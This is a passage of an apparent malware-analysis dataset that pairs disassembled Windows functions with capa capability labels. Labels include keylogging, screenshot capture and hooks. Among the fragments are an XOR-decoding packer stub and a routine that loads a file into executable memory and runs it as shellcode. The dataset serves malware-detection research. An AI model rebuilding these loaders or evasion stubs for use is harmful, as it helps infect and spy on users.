joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41d690
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x2c]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
dec ecx
js 0x41d6e1
lea eax, [ebp - 0x2c]
cmp word [eax + 0x20], 3
je 0x41d6c8
mov eax, dword [edx + ecx*4]
bswap eax
shr eax, 8
mov dword [edx + ecx*4], eax
dec ecx
jns 0x41d6b8
jmp 0x41d6e1
push ebx
xor ebx, ebx
mov eax, dword [edx + ecx*4]
mov bh, al
mov bl, ah
shr eax, 0x10
shl ebx, 8
mov bl, al
mov dword [edx + ecx*4], ebx
dec ecx
jns 0x41d6c9
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x426c6c
Capabilities:
Enumerate gui resources

Disassembly:
mov byte [eax + 0xc], 0
mov byte [eax + 0xd], 0
xor edx, edx
mov dword [eax + 4], edx
push eax
push 0x426bb8
call sub.user32.dll_EnumWindows
ret

Function at 0x426d8c
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x426e09
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.004267ec
call sub.kernel32.dll_GetTickCount
mov ebx, eax
push 0
call sub.kernel32.dll_Sleep
call sub.kernel32.dll_GetTickCount
sub eax, ebx
cmp eax, 0x3e8
jbe 0x426db1
lea ecx, [ebp - 4]
xor edx, edx
mov eax, esi
call fcn.004263ec
cmp dword [ebp - 4], 0
je 0x426df3
push 0
push 9
mov eax, dword [ebp - 4]
call fcn.004042d0
push eax
mov eax, dword [esi + 0x1c]
mov edx, dword [eax]
call dword [edx + 0xc]
push eax
call sub.user32.dll_WinHelpA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x426e10
lea eax, [ebp - 4]
call fcn.00403e10
ret

Function at 0x429148
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push ecx
mov word [ebp - 2], ax
mov al, byte [0x4291a0]
mov byte [ebp - 3], al
test byte [ebp - 2], 4
je 0x429162
or byte [ebp - 3], 1
test byte [ebp - 2], 8
je 0x42916c
or byte [ebp - 3], 4
test byte [ebp - 2], 1
je 0x429176
or byte [ebp - 3], 8
test byte [ebp - 2], 2
je 0x429180
or byte [ebp - 3], 0x10
test byte [ebp - 2], 0x10
je 0x42918a
or byte [ebp - 3], 0x20
push 0x12
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x42919a
or byte [ebp - 3], 2
mov al, byte [ebp - 3]
pop ecx
pop ebp
ret

Function at 0x4291a4
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
mov dword [ebp - 4], eax
mov al, byte [0x4291e8]
mov byte [ebp - 5], al
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x4291c5
or byte [ebp - 5], 1
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x4291d5
or byte [ebp - 5], 4
test byte [ebp - 1], 0x20
je 0x4291df
or byte [ebp - 5], 2
mov al, byte [ebp - 5]
pop ecx
pop ecx
pop ebp
ret
Function at 0x431148
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
test dl, dl
je 0x43115a
add esp, 0xfffffff0
call fcn.004033e4
mov dword [ebp - 0xc], ecx
mov byte [ebp - 5], dl
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0xc]
xor edx, edx
mov eax, dword [ebp - 4]
call fcn.00418f28
mov eax, dword [0x450df4]
mov edx, dword [ebp - 4]
mov dword [eax + 4], edx
mov dword [eax], 0x4316b8
mov eax, dword [0x450e00]
mov edx, dword [ebp - 4]
mov dword [eax + 4], edx
mov dword [eax], 0x4316d8
mov eax, dword [ebp - 4]
call fcn.004316f8
push 0
call sub.user32.dll_GetKeyboardLayout
mov edx, dword [ebp - 4]
mov dword [edx + 0x3c], eax
mov dl, 1
mov eax, dword [0x411220]
call fcn.004030a8
mov edx, dword [ebp - 4]
mov dword [edx + 0x4c], eax
mov dl, 1
mov eax, dword [0x411220]
call fcn.004030a8
mov edx, dword [ebp - 4]
mov dword [edx + 0x50], eax
mov dl, 1
mov eax, dword [0x411220]
call fcn.004030a8
mov edx, dword [ebp - 4]
mov dword [edx + 0x54], eax
mov dl, 1
mov eax, dword [0x411220]
call fcn.004030a8
mov edx, dword [ebp - 4]
mov dword [edx + 0x58], eax
mov dl, 1
mov eax, dword [0x411220]
call fcn.004030a8
mov edx, dword [ebp - 4]
mov dword [edx + 0x7c], eax
push 0
call sub.user32.dll_GetDC
mov dword [ebp - 0x10], eax
push 0x5a
mov eax, dword [ebp - 0x10]
push eax
call sub.gdi32.dll_GetDeviceCaps
mov edx, dword [ebp - 4]
mov dword [edx + 0x40], eax
mov eax, dword [ebp - 0x10]
push eax
push 0
call sub.user32.dll_ReleaseDC
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x58]
push eax
mov eax, 0x42cb08
push eax
push 0
push 0
mov eax, dword [0x450f40]
mov eax, dword [eax]
call eax
mov dl, 1
mov eax, dword [0x41a94c]
call fcn.0041bd90
mov edx, dword [ebp - 4]
mov dword [edx + 0x84], eax
mov dl, 1
mov eax, dword [0x41a94c]
call fcn.0041bd90
mov edx, dword [ebp - 4]
mov dword [edx + 0x88], eax
mov dl, 1
mov eax, dword [0x41a94c]
call fcn.0041bd90
mov edx, dword [ebp - 4]
mov dword [edx + 0x80], eax
mov eax, dword [ebp - 4]
call fcn.00431c44
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x84]
mov edx, dword [ebp - 4]
mov dword [eax + 0xc], edx
mov dword [eax + 8], 0x431a90
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x88]
mov edx, dword [ebp - 4]
mov dword [eax + 0xc], edx
mov dword [eax + 8], 0x431a90
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x80]
mov edx, dword [ebp - 4]
mov dword [eax + 0xc], edx
mov dword [eax + 8], 0x431a90
mov eax, dword [ebp - 4]
cmp byte [ebp - 5], 0
je 0x4312e2
call fcn.0040343c
pop dword fs:[0]
add esp, 0xc
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x431848
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffd98
push ebx
xor edx, edx
mov dword [ebp - 0x268], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x431a13
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x4319f1
mov dl, 1
mov eax, dword [0x41163c]
call fcn.004030a8
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.00403e10
lea eax, [ebp - 0x11c]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
dec eax
test eax, eax
jl 0x4319da
inc eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x11c]
call fcn.00445a84
test al, al
je 0x4319ce
lea eax, [ebp - 0x18]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x11c]
mov dword [ebp - 0x264], eax
mov byte [ebp - 0x260], 0
lea ecx, [ebp - 0x264]
mov edx, 0x431a24
lea eax, [ebp - 0x25c]
call fcn.004087d4
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x4319ce
xor eax, eax
push ebp
push 0x4319c7
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x14], pe_nt_image_headers32
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x21c]
push eax
push 0
push 0
push 0x431a5c
mov eax, dword [ebp - 0x18]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x4319b0
lea eax, [ebp - 0x268]
lea edx, [ebp - 0x21c]
mov ecx, pe_nt_image_headers32
call fcn.00404080
mov edx, dword [ebp - 0x268]
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp + eax*4 - 0x11c]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x11c]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x4319b0
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x21c]
mov ecx, pe_nt_image_headers32
call fcn.00404080
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4319ce
mov eax, dword [ebp - 0x18]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
inc dword [ebp - 0x10]
dec dword [ebp - 0x1c]
jne 0x4318bd
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov dl, 1
call fcn.00415118
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov dword [ebp - 8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x431a1a
lea eax, [ebp - 0x268]
call fcn.00403e10
ret
Function at 0x43254c
Capabilities:
Create thread
Set global application hook

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x452b10]
cmp byte [eax + 0xa5], 0
jne 0x4325c3
cmp dword [0x452b28], 0
jne 0x432581
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x432508
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x452b28], eax
cmp dword [0x452b24], 0
jne 0x43259c
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x452b24], eax
cmp dword [0x452b2c], 0
jne 0x4325c3
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x4324a8
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x452b2c], eax
pop ecx
pop ebp
ret

Function at 0x43268c
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
call fcn.00432624
mov byte [ebp - 9], al
cmp byte [ebp - 9], 0
je 0x4326ad
xor eax, eax
call fcn.0043265c
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.user32.dll_ShowWindow
cmp byte [ebp - 9], 0
je 0x4326c7
mov al, 1
call fcn.0043265c
mov esp, ebp
pop ebp
ret

Function at 0x432d8c
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
mov byte [ebp - 5], dl
mov dword [ebp - 4], eax
mov eax, dword [0x452b10]
cmp dword [eax + 0x30], 0
je 0x432e56
mov eax, dword [ebp - 4]
cmp dword [eax + 0x94], 0
jne 0x432e4d
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x30]
mov dword [ebp - 0x14], eax
mov al, byte [ebp - 5]
mov byte [ebp - 0x10], al
lea eax, [ebp - 0x14]
push eax
push 0x432d0c
call sub.user32.dll_EnumWindows
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x90]
cmp dword [eax + 8], 0
je 0x432e4d
push 3
mov eax, dword [ebp - 0x14]
push eax
call sub.user32.dll_GetWindow
mov dword [ebp - 0x14], eax
push 0xffffffffffffffec
mov eax, dword [ebp - 0x14]
push eax
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x432e07
mov dword [ebp - 0x14], 0xfffffffe
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x90]
mov eax, dword [eax + 8]
dec eax
cmp eax, 0
jl 0x432e4d
mov dword [ebp - 0xc], eax
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 0x14]
push eax
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x90]
call fcn.00413588
push eax
call sub.user32.dll_SetWindowPos
dec dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0xffffffff
jne 0x432e1c
mov eax, dword [ebp - 4]
inc dword [eax + 0x94]
mov esp, ebp
pop ebp
ret

Function at 0x433b70
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef8
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp byte [eax + 0xa4], 0
je 0x433bb5
push pe_nt_image_headers32
lea eax, [ebp - 0x108]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
lea edx, [ebp - 0x108]
mov eax, dword [ebp - 8]
call fcn.00403f00
jmp 0x433bc6
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 4]
mov edx, dword [edx + 0x8c]
call fcn.00403e64
mov esp, ebp
pop ebp
ret
Function at 0x434f6c
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp dword [eax + 0x84], 0
je 0x434fbf
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x84]
call fcn.0044128c
test al, al
je 0x434fbf
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x84]
call fcn.0044102c
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x434fbf
push 0
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x84]
call fcn.0044102c
push eax
call sub.user32.dll_ShowWindow
pop ecx
pop ebp
ret

Function at 0x4384c8
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
mov esi, eax
lea edi, [ebp - 9]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x10], edx
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [0x452b74], 0
je 0x438617
push 0x11
call sub.user32.dll_GetKeyState
test ax, 0x8000
setne al
mov edx, dword [0x450fb8]
mov edx, dword [edx]
xor al, byte [edx + 0xb4]
je 0x438617
mov eax, dword [0x452b78]
mov edx, dword [eax]
call dword [edx + 8]
mov eax, dword [0x452b74]
mov ebx, dword [eax + 8]
dec ebx
test ebx, ebx
jl 0x4385e6
inc ebx
xor edi, edi
mov edx, edi
mov eax, dword [0x452b74]
call fcn.00413588
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x10]
je 0x4385de
mov eax, dword [ebp - 0x14]
cmp byte [eax + 0x1a6], 0
je 0x4385de
mov eax, dword [ebp - 0x14]
mov edx, dword [eax]
call dword [edx + 0x50]
test al, al
je 0x4385de
mov eax, dword [ebp - 0x14]
call fcn.0044102c
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x4385de
push ebp
call fcn.00438484
pop ecx
test al, al
jne 0x4385de
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xa0]
cmp eax, dword [ebp - 0x14]
jne 0x43859a
mov eax, dword [ebp - 0x14]
call fcn.0043fb5c
dec eax
jle 0x4385de
mov byte [ebp - 1], 1
lea eax, [ebp - 9]
push eax
lea eax, [ebp - 1]
push eax
lea ecx, [ebp - 0x28]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov si, 0xffbd
call fcn.004032d4
cmp byte [ebp - 1], 0
je 0x4385de
push dword [ebp - 5]
push dword [ebp - 9]
lea eax, [ebp - 0x28]
push eax
call sub.user32.dll_PtInRect
test eax, eax
je 0x4385de
mov edx, dword [ebp - 0x14]
mov eax, dword [0x452b78]
call fcn.00437c50
inc edi
dec ebx
jne 0x43852d
mov eax, dword [0x452b78]
cmp dword [eax + 8], 0
jle 0x4385fe
mov eax, dword [0x452b78]
call fcn.00437ce0
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x438617
push ebp
mov eax, dword [ebp - 0x18]
call fcn.004382ec
pop ecx
test al, al
jne 0x438617
xor eax, eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x43bbb0
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeec
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
test byte [esi + 0x1c], 0x10
je 0x43bbfc
mov eax, esi
call fcn.004292d0
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x43bbfc
mov eax, dword [ebp - 0x14]
cmp dword [eax + 0x250], 0
je 0x43bbfc
mov ecx, ebx
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x250]
mov edx, esi
mov edi, dword [eax]
call dword [edi + 0x24]
test al, al
jne 0x43bd3b
mov eax, dword [ebx]
cmp eax, 0x100
jb 0x43bc3c
cmp eax, 0x108
ja 0x43bc3c
mov eax, esi
call fcn.004292d0
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x43bd32
mov ecx, ebx
mov edx, esi
mov eax, dword [ebp - 0x14]
mov edi, dword [eax]
call dword [edi + 0xf0]
test al, al
jne 0x43bd3b
jmp 0x43bd32
mov eax, dword [ebx]
cmp eax, 0x200
jb 0x43bd1b
cmp eax, 0x20a
ja 0x43bd1b
test byte [esi + 0x50], 0x80
jne 0x43bc6e
sub eax, 0x203
je 0x43bc6b
sub eax, 3
je 0x43bc6b
sub eax, 3
jne 0x43bc6e
sub dword [ebx], 2
mov eax, dword [ebx]
sub eax, 0x200
je 0x43bc82
dec eax
je 0x43bc97
dec eax
je 0x43bcb4
dec eax
je 0x43bc97
jmp 0x43bcbb
mov ecx, ebx
mov eax, dword [0x450fb8]
mov eax, dword [eax]
mov edx, esi
call fcn.00434df0
jmp 0x43bd32
cmp byte [esi + 0x5d], 1
jne 0x43bcad
mov eax, esi
mov si, 0xffed
call fcn.004032d4
jmp 0x43bd3b
or word [esi + 0x54], 1
jmp 0x43bd32
and word [esi + 0x54], 0xfffe
jmp 0x43bd32
mov eax, dword [0x452b30]
cmp byte [eax + 0x20], 0
je 0x43bd32
mov eax, dword [0x452b30]
cmp dword [eax + 0x1c], 0
je 0x43bd32
mov eax, dword [ebx]
mov edx, dword [0x452b30]
cmp eax, dword [edx + 0x1c]
jne 0x43bd32
lea eax, [ebp - 0x114]
push eax
call sub.user32.dll_GetKeyboardState
mov eax, dword [ebx]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
call fcn.004291ec
mov byte [ebp - 0xc], al
mov ax, word [ebx + 4]
mov word [ebp - 0xa], ax
mov eax, dword [ebx + 8]
mov dword [ebp - 8], eax
lea edx, [ebp - 0x10]
mov eax, esi
mov si, 0xffc9
call fcn.004032d4
jmp 0x43bd3b
cmp eax, 0xb00b
jne 0x43bd32
mov edx, dword [ebx + 8]
push edx
mov ecx, dword [ebx + 4]
mov edx, eax
mov eax, esi
call fcn.0043a518
mov edx, ebx
mov eax, esi
mov ecx, dword [eax]
call dword [ecx - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x43f1bc
Capabilities:
Capture screenshot

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff94
push ebx
push esi
push edi
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0x1f8], 0
je 0x43f1d8
cmp dword [esi + 4], 0
je 0x43f205
test byte [ebx + 0x55], 1
jne 0x43f1f7
mov eax, ebx
call fcn.0043ddc8
test eax, eax
jne 0x43f1f7
mov edx, esi
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx - 0x10]
jmp 0x43f315
mov edx, esi
mov eax, ebx
call fcn.0043ece0
jmp 0x43f315
push 0
call sub.user32.dll_GetDC
mov edi, eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x64]
push eax
push edi
call sub.gdi32.dll_CreateCompatibleBitmap
mov dword [ebp - 8], eax
push edi
push 0
call sub.user32.dll_ReleaseDC
push 0
call sub.gdi32.dll_CreateCompatibleDC
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_SelectObject
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x43f30e
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.0044102c
push eax
call sub.user32.dll_BeginPaint
mov edi, eax
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 4]
mov edx, 0x14
mov eax, ebx
call fcn.0043bae4
mov eax, dword [ebp - 4]
mov dword [esi + 4], eax
mov edx, esi
mov eax, ebx
call fcn.0043f1bc
xor eax, eax
mov dword [esi + 4], eax
push 0xcc0020
push 0
push 0
mov eax, dword [ebp - 4]
push eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x64]
push eax
push 0
push 0
push edi
call sub.gdi32.dll_BitBlt
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.0044102c
push eax
call sub.user32.dll_EndPaint
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43f315
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_SelectObject
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_DeleteDC
mov eax, dword [ebp - 8]
push eax
call sub.gdi32.dll_DeleteObject
ret
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x445724
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov eax, dword [0x451118]
cmp byte [eax + 0xc], 0
je 0x445891
push 0x8000
call sub.kernel32.dll_SetErrorMode
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x44588a
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x452b84], 0
jne 0x445778
push 0x445898
call sub.kernel32.dll_GetModuleHandleA_2
mov ebx, eax
push 0x4458a0
push ebx
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x452b84], eax
cmp dword [0x450c1c], 0
jne 0x445873
push 0x4458b0
call sub.kernel32.dll_LoadLibraryA
mov dword [0x450c1c], eax
cmp dword [0x450c1c], 0
je 0x445873
push 0x4458bc
mov eax, dword [0x450c1c]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x452b88], eax
push 0x4458cc
mov eax, dword [0x450c1c]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x452b8c], eax
push 0x4458e0
mov eax, dword [0x450c1c]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x452b90], eax
push 0x4458f8
mov eax, dword [0x450c1c]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x452b94], eax
push 0x445910
mov eax, dword [0x450c1c]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x452b98], eax
push 0x445924
mov eax, dword [0x450c1c]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x452b9c], eax
push 0x44593c
mov eax, dword [0x450c1c]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x452ba0], eax
push 0x445954
mov eax, dword [0x450c1c]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x452ba4], eax
push 0x445970
mov eax, dword [0x450c1c]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x452ba8], eax
push 0x44597c
mov eax, dword [0x450c1c]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x452bac], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x445891
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_SetErrorMode
ret
pop ebx
pop ecx
pop ebp
ret

Function at 0x44971c
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
mov ebx, edx
mov word [ebp - 2], ax
mov eax, ebx
call fcn.00403e10
push 0
xor eax, eax
mov al, byte [ebp - 2]
push eax
call sub.user32.dll_MapVirtualKeyA
shl eax, 0x10
test eax, eax
je 0x44976b
push pe_nt_image_headers32
lea edx, [ebp - 0x102]
push edx
push eax
call sub.user32.dll_GetKeyNameTextA
mov eax, ebx
lea edx, [ebp - 0x102]
mov ecx, pe_nt_image_headers32
call fcn.00404080
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x430003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408f6c
mov ecx, 0x169a2b07
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x430024
mov eax, section..data
nop
mov ebx, 0x42e3d0
nop
nop
mov ecx, 0x2aca5e2a
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x430084
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43006c
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebx
push esi
mov ebx, 0x10003028
xor esi, esi
push edi
cmp ebx, 0x10002034
jne 0x1000116a
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x10002038]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x10001172
push 1
push esi
push esi
push ebx
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x1000203c]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x1000119d
push 0x40
mov eax, 0x1000
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
lea edi, [ebx - 2]
mov ax, word [edi + 2]
add edi, 2
cmp ax, si
jne 0x100011cb
push 5
pop ecx
mov esi, str.sktop.ini
rep movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
cmp eax, 0xffffffff
je 0x10001222
push esi
push 0x10003020
push 0x1000
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10

Function at 0x503b8c
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ecx, ebp
push ebp
mov ebp, esp
mov dword [0x505076], ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x505298], eax
mov dword [0x505220], 0x503376
mov dword [0x50521c], 2
jmp 0x503bbc
mov dword [0x505224], 0
mov dword [0x505228], 0
mov dword [0x505218], 0x30
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov dword [0x50522c], eax
mov dword [0x505240], 0x50408c
mov dword [0x505238], 0xf
mov dword [0x50506e], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x505230], eax
mov dword [0x505244], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x505234], eax
push 0x505218
call dword [sym.imp.user32.dll_RegisterClassExA]
push 0
push dword [0x50506e]
push 0
push 0
push 0x1e5
push 0x21e
push 0xffffe52a
push 0xfffff588
push 0x40000
push str.wait
push str.aroka
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x505290], eax
push 5
push dword [0x505290]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x505290]
call dword [sym.imp.user32.dll_UpdateWindow]
jmp 0x503c8f
push 0
push 0
push 0
push 0x505248
call dword [sym.imp.user32.dll_GetMessageA]
or eax, eax
je 0x503cbc
push 0x505248
call dword [sym.imp.user32.dll_TranslateMessage]
push 0x505248
call dword [sym.imp.user32.dll_DispatchMessageA]
jmp 0x503c8f
jmp 0x50a204